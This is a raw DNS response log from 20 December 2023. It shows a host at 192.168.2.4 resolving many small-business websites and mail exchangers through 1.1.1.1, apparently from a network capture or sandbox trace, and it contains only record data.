Dec 20, 2023 03:13:20.290846109 CET	1.1.1.1	192.168.2.4	0x8a4c	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.290846109 CET	1.1.1.1	192.168.2.4	0x8a4c	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.295917034 CET	1.1.1.1	192.168.2.4	0x7917	No error (0)	bvox.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.295917034 CET	1.1.1.1	192.168.2.4	0x7917	No error (0)	bvox.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.298810959 CET	1.1.1.1	192.168.2.4	0x4983	No error (0)	eurobay-mk.com		217.160.0.195	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.299307108 CET	1.1.1.1	192.168.2.4	0xac1d	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.299307108 CET	1.1.1.1	192.168.2.4	0xac1d	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.303261042 CET	1.1.1.1	192.168.2.4	0x28c3	No error (0)	qihabitats.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.303261042 CET	1.1.1.1	192.168.2.4	0x28c3	No error (0)	qihabitats.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.303261042 CET	1.1.1.1	192.168.2.4	0x28c3	No error (0)	qihabitats.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.303261042 CET	1.1.1.1	192.168.2.4	0x28c3	No error (0)	qihabitats.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.304409027 CET	1.1.1.1	192.168.2.4	0x3022	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.307662010 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	mx1.a2b-internet.com	mx1.masav.eu		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:20.307662010 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	mx1.masav.eu		91.213.13.233	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.307662010 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	mx1.masav.eu		91.213.13.170	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.307662010 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	mx1.masav.eu		91.213.13.231	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.310890913 CET	1.1.1.1	192.168.2.4	0x2041	No error (0)	uniqueaustralian.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:20.310890913 CET	1.1.1.1	192.168.2.4	0x2041	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:20.310890913 CET	1.1.1.1	192.168.2.4	0x2041	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.310890913 CET	1.1.1.1	192.168.2.4	0x2041	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.315146923 CET	1.1.1.1	192.168.2.4	0x3b67	No error (0)	twohillsstudio.com		192.252.146.15	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.318934917 CET	1.1.1.1	192.168.2.4	0x92c3	No error (0)	maatinus.com		64.92.112.83	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.320851088 CET	1.1.1.1	192.168.2.4	0x94c6	No error (0)	devnetmedia.com		162.215.248.230	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.320919991 CET	1.1.1.1	192.168.2.4	0x9312	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.320919991 CET	1.1.1.1	192.168.2.4	0x9312	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.327337027 CET	1.1.1.1	192.168.2.4	0x8226	No error (0)	u90soccercenter.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.330060959 CET	1.1.1.1	192.168.2.4	0x3c2b	No error (0)	recipe-for-kids.com		64.91.249.20	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.337589025 CET	1.1.1.1	192.168.2.4	0x3a69	No error (0)	mail.ecochild.com.au		176.74.27.137	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.337966919 CET	1.1.1.1	192.168.2.4	0x36ae	No error (0)	thomchick.net		208.113.220.170	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.348182917 CET	1.1.1.1	192.168.2.4	0x52ec	No error (0)	ads-ecuador.com		66.96.160.139	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.358149052 CET	1.1.1.1	192.168.2.4	0x5b07	No error (0)	inhofer.com		208.113.184.91	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.362936020 CET	1.1.1.1	192.168.2.4	0x11b2	No error (0)	directa-plus.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.403736115 CET	1.1.1.1	192.168.2.4	0xbcd7	No error (0)	mgbymags.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.412667036 CET	1.1.1.1	192.168.2.4	0xe640	No error (0)	rushroom.com		64.182.43.254	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.413795948 CET	1.1.1.1	192.168.2.4	0x2391	No error (0)	topshelfgames.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.413795948 CET	1.1.1.1	192.168.2.4	0x2391	No error (0)	topshelfgames.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.437453985 CET	1.1.1.1	192.168.2.4	0xad55	No error (0)	meurrens.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.437453985 CET	1.1.1.1	192.168.2.4	0xad55	No error (0)	meurrens.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.441231966 CET	1.1.1.1	192.168.2.4	0xb874	Name error (3)	dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.476943016 CET	1.1.1.1	192.168.2.4	0xad53	Name error (3)	bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.493300915 CET	1.1.1.1	192.168.2.4	0x853b	No error (0)	atelcommunications.com		54.69.113.134	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.507009029 CET	1.1.1.1	192.168.2.4	0xcad8	No error (0)	mgbymags.com		185.103.16.167	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.533271074 CET	1.1.1.1	192.168.2.4	0xfbd6	Name error (3)	ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.545208931 CET	1.1.1.1	192.168.2.4	0x43da	No error (0)	riovista.net		67.152.113.12	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577848911 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577848911 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577848911 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577848911 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577848911 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577861071 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577861071 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577861071 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577861071 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577861071 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577871084 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577871084 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577871084 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577871084 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.577871084 CET	1.1.1.1	192.168.2.4	0xca1a	No error (0)	blackdesign.com.sg			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.634445906 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	antoniocorts.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.650595903 CET	1.1.1.1	192.168.2.4	0x90e7	No error (0)	ajpascual.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.651325941 CET	1.1.1.1	192.168.2.4	0x377a	No error (0)	ajpascual.com		217.76.128.47	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.656881094 CET	1.1.1.1	192.168.2.4	0xfec1	No error (0)	lunarrastar.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.656881094 CET	1.1.1.1	192.168.2.4	0xfec1	No error (0)	lunarrastar.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.657001972 CET	1.1.1.1	192.168.2.4	0x204a	No error (0)	meurrens.org		95.128.72.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.657847881 CET	1.1.1.1	192.168.2.4	0x63c9	No error (0)	lunarrastar.com		77.72.0.94	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.722950935 CET	1.1.1.1	192.168.2.4	0xfda2	No error (0)	drunkcoats.comoj.com		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.797844887 CET	1.1.1.1	192.168.2.4	0x787	No error (0)	wakux2.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.860227108 CET	1.1.1.1	192.168.2.4	0xb989	No error (0)	the-i-junction.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.927185059 CET	1.1.1.1	192.168.2.4	0xdfa8	No error (0)	wakux2.com		157.112.187.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.965770006 CET	1.1.1.1	192.168.2.4	0xed01	No error (0)	the-i-junction.com		41.203.27.92	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.984426022 CET	1.1.1.1	192.168.2.4	0xdef8	Name error (3)	alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.082870960 CET	1.1.1.1	192.168.2.4	0xf9a3	No error (0)	guymassey.com		199.34.228.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.123997927 CET	1.1.1.1	192.168.2.4	0xe941	Name error (3)	yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.186625004 CET	1.1.1.1	192.168.2.4	0xc74d	No error (0)	texasopendoor.com		96.45.112.177	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.188337088 CET	1.1.1.1	192.168.2.4	0x5f5f	No error (0)	mx.theseekerchurch.com		66.96.140.50	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.188337088 CET	1.1.1.1	192.168.2.4	0x5f5f	No error (0)	mx.theseekerchurch.com		66.96.140.52	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.188337088 CET	1.1.1.1	192.168.2.4	0x5f5f	No error (0)	mx.theseekerchurch.com		66.96.140.51	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.189457893 CET	1.1.1.1	192.168.2.4	0x8229	No error (0)	blackdesign.com.sg		103.26.43.131	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.189507961 CET	1.1.1.1	192.168.2.4	0x8229	No error (0)	blackdesign.com.sg		103.26.43.131	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.283559084 CET	1.1.1.1	192.168.2.4	0xa8c5	No error (0)	carisfoundationintl.org		205.178.189.131	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.300393105 CET	1.1.1.1	192.168.2.4	0x92e2	No error (0)	www.registrar-transfers.com		205.178.187.19	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.308965921 CET	1.1.1.1	192.168.2.4	0xb369	No error (0)	directa-plus.com		162.159.134.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.504767895 CET	1.1.1.1	192.168.2.4	0xf978	No error (0)	www.rosetre.com	ext-cust.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:21.504767895 CET	1.1.1.1	192.168.2.4	0xf978	No error (0)	ext-cust.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.504767895 CET	1.1.1.1	192.168.2.4	0xf978	No error (0)	ext-cust.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.504767895 CET	1.1.1.1	192.168.2.4	0xf978	No error (0)	ext-cust.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.504767895 CET	1.1.1.1	192.168.2.4	0xf978	No error (0)	ext-cust.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.528229952 CET	1.1.1.1	192.168.2.4	0xacd9	No error (0)	www.lisvankooten.com		199.34.228.152	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.558722019 CET	1.1.1.1	192.168.2.4	0x1b45	No error (0)	antoniocorts.net		178.33.163.4	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.679187059 CET	1.1.1.1	192.168.2.4	0xcb44	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.760549068 CET	1.1.1.1	192.168.2.4	0x4aed	No error (0)	mx00.1and1.co.uk		212.227.15.41	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.888521910 CET	1.1.1.1	192.168.2.4	0x3bd2	No error (0)	www.orangutech.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:21.888521910 CET	1.1.1.1	192.168.2.4	0x3bd2	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:21.888521910 CET	1.1.1.1	192.168.2.4	0x3bd2	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.921294928 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	www.ecochild.com.au	ecochild.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:21.921294928 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	ecochild.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:21.921294928 CET	1.1.1.1	192.168.2.4	0x3aaa	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.987617016 CET	1.1.1.1	192.168.2.4	0x48bc	No error (0)	mx2-us1.ppe-hosted.com		148.163.129.51	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.987617016 CET	1.1.1.1	192.168.2.4	0x48bc	No error (0)	mx2-us1.ppe-hosted.com		67.231.154.163	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.003870010 CET	1.1.1.1	192.168.2.4	0xef44	No error (0)	wethepros.com		15.197.192.55	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.003966093 CET	1.1.1.1	192.168.2.4	0xef44	No error (0)	wethepros.com		15.197.192.55	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.114509106 CET	1.1.1.1	192.168.2.4	0x767	No error (0)	www.collinsgordonhenry.com	ghs.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.114509106 CET	1.1.1.1	192.168.2.4	0x767	No error (0)	ghs.google.com		142.250.217.211	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.288067102 CET	1.1.1.1	192.168.2.4	0xea5f	No error (0)	www.newriverclimbing.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.288067102 CET	1.1.1.1	192.168.2.4	0xea5f	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.288067102 CET	1.1.1.1	192.168.2.4	0xea5f	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.303802013 CET	1.1.1.1	192.168.2.4	0x4f8e	No error (0)	eforward5.registrar-servers.com		162.255.118.51	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		164.90.197.162	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		147.182.160.18	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		164.90.197.79	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		164.90.197.105	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		147.182.189.184	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		147.182.180.139	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		164.90.197.143	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.368437052 CET	1.1.1.1	192.168.2.4	0xaede	No error (0)	mx156.hostedmxserver.com		147.182.130.78	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.373477936 CET	1.1.1.1	192.168.2.4	0x4392	No error (0)	mx.mail-data.net		143.244.202.96	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.378499031 CET	1.1.1.1	192.168.2.4	0xe342	No error (0)	mx1.privateemail.com		198.54.122.240	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.379189968 CET	1.1.1.1	192.168.2.4	0xfd99	No error (0)	aspmx2.googlemail.com		64.233.186.27	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.381661892 CET	1.1.1.1	192.168.2.4	0xeb7e	No error (0)	mx1.mailchannels.net		44.229.66.233	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.381661892 CET	1.1.1.1	192.168.2.4	0xeb7e	No error (0)	mx1.mailchannels.net		35.165.242.85	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.401792049 CET	1.1.1.1	192.168.2.4	0x9aa2	No error (0)	www.greenlawnfertilizing.com	21941324.group24.sites.hubspot.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.401792049 CET	1.1.1.1	192.168.2.4	0x9aa2	No error (0)	21941324.group24.sites.hubspot.net	group24.sites.hscoscdn20.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.401792049 CET	1.1.1.1	192.168.2.4	0x9aa2	No error (0)	group24.sites.hscoscdn20.net		199.60.103.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.401792049 CET	1.1.1.1	192.168.2.4	0x9aa2	No error (0)	group24.sites.hscoscdn20.net		199.60.103.254	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.409465075 CET	1.1.1.1	192.168.2.4	0x7fc9	No error (0)	mx00.ionos.co.uk		212.227.15.41	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.430176020 CET	1.1.1.1	192.168.2.4	0x45a0	No error (0)	shared67.accountservergroup.com		162.215.248.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.434482098 CET	1.1.1.1	192.168.2.4	0x8e40	No error (0)	www.geoffreynolds.com.au		151.101.1.195	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.434482098 CET	1.1.1.1	192.168.2.4	0x8e40	No error (0)	www.geoffreynolds.com.au		151.101.65.195	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.442812920 CET	1.1.1.1	192.168.2.4	0xf5f6	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.526335001 CET	1.1.1.1	192.168.2.4	0x11da	No error (0)	mx1.cloudhosting.co.uk		185.53.56.44	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.526335001 CET	1.1.1.1	192.168.2.4	0x11da	No error (0)	mx1.cloudhosting.co.uk		185.53.56.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.535742998 CET	1.1.1.1	192.168.2.4	0xbda2	No error (0)	mx.ads-ecuador.com		66.96.140.165	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.535742998 CET	1.1.1.1	192.168.2.4	0xbda2	No error (0)	mx.ads-ecuador.com		66.96.140.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.537693024 CET	1.1.1.1	192.168.2.4	0xabe1	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.537693024 CET	1.1.1.1	192.168.2.4	0xabe1	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.541743994 CET	1.1.1.1	192.168.2.4	0xc17c	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.541743994 CET	1.1.1.1	192.168.2.4	0xc17c	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.546680927 CET	1.1.1.1	192.168.2.4	0x1229	No error (0)	www.u90soccercenter.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.546680927 CET	1.1.1.1	192.168.2.4	0x1229	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.546680927 CET	1.1.1.1	192.168.2.4	0x1229	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.555382967 CET	1.1.1.1	192.168.2.4	0x383f	No error (0)	mailgw.paloaltodatacenter.net	dialcast-254.paloaltodatacenter.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.555382967 CET	1.1.1.1	192.168.2.4	0x383f	No error (0)	dialcast-254.paloaltodatacenter.net		64.182.43.254	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.580777884 CET	1.1.1.1	192.168.2.4	0x4c93	No error (0)	www.theseekerchurch.com	websites016.homestead.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.580777884 CET	1.1.1.1	192.168.2.4	0x4c93	No error (0)	websites016.homestead.com		108.167.135.109	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.601030111 CET	1.1.1.1	192.168.2.4	0xfbab	Name error (3)	lsmnutrition-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.682111979 CET	1.1.1.1	192.168.2.4	0x423e	No error (0)	www.iconcap.com	iconcap.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.682111979 CET	1.1.1.1	192.168.2.4	0x423e	No error (0)	iconcap.com		45.56.74.212	A (IP address)	IN (0x0001)	false
